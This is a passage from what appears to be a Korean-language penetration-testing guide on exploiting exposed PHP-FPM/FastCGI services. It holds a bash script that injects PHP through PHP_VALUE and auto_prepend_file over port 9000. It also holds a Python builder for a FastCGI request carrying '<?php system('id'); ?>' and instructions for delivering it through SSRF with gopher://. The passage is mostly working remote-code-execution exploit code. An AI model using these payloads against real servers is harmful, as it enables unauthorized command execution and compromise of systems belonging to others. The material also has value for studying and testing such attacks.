PAYLOAD=“<?php echo ‘’;” FILENAMES=“/var/www/public/index.php” # Exisiting file path

HOST=$1 B64=$(echo “$PAYLOAD”|base64)

for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i
PHP_VALUE=“allow_url_include=1”$‘\n’“allow_url_fopen=1”$‘\n’“auto_prepend_file=‘data://text/plain;base64,$B64’”
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT done

</details>

또는 다음 python 스크립트를 사용할 수도 있습니다: [https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75](https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)

### SSRF/gopher to FastCGI (9000 포트에 직접 접근할 수 없을 때)

만약 **SSRF** primitive만 제어할 수 있다면, gopher 스킴을 사용해 FastCGI에 도달하고 전체 FastCGI 요청을 구성할 수 있습니다. 예시 payload builder:

<details>
<summary>gopher FastCGI RCE payload 생성 및 전송</summary>
```python
import struct, socket
host, port = "127.0.0.1", 9000
params = {
b"REQUEST_METHOD": b"POST",
b"SCRIPT_FILENAME": b"/var/www/html/index.php",
b"PHP_VALUE": b"auto_prepend_file=php://input\nallow_url_include=1"
}
body = b"<?php system('id'); ?>"

def rec(rec_type, content, req_id=1):
return struct.pack("!BBHHBB", 1, rec_type, req_id, len(content), 0, 0) + content

def enc_params(d):
out = b""
for k, v in d.items():
out += struct.pack("!B", len(k)) + struct.pack("!B", len(v)) + k + v
return out
payload  = rec(4, enc_params(params)) + rec(4, b"")  # FCGI_PARAMS + terminator
payload += rec(5, body)                                # FCGI_STDIN

s = socket.create_connection((host, port))
s.sendall(payload)
print(s.recv(4096))

Convert payload to URL-safe base64/percent-encoding and send via gopher://host:9000/_<payload> in your SSRF.